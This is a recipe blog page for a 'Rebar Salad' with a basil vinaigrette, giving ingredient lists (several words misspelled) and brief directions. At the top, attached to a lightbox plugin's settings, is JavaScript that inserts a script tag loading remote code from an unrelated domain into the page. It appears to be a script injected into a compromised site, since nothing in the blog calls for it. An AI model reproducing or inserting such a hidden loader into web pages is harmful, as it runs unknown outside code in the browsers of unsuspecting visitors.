, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Blog

Rebar Salad

From Jasper Blake

Salad Ingredients:

  • Dark leefy greens
  • Shredded beats
  • Pea shoots
  • Shredded carrots
  • Pumpkin seeds
  • Goat Fetta
  • Sunflower seeds
  • Garbonzo beans

Basil Vinagerrete dressing Ingredients

  • 2 garlic cloves minced
  • 1 1/2 tbsp dijon mustard
  • 2 tbsp honey
  • 1/4 cup red wine vinegar
  • 1 tbsp balsamic vinegar
  • 1 1/2 oz (45g) fresh basil leaves
  • 1/2 tsp salt
  • 1 1/2 tsp cracked pepper
  • 1 cup olive oil

Directions

  1. For the Salad: Wash the raw ingredients and then combine them in a bowl
  2. For the Dressing: Combine all ingredients except oil in a food processor and blend. Slowly add olive oil in a thin stream until thick. Season to taste and refrigerate up to 3 days. 
  3.  Serves 4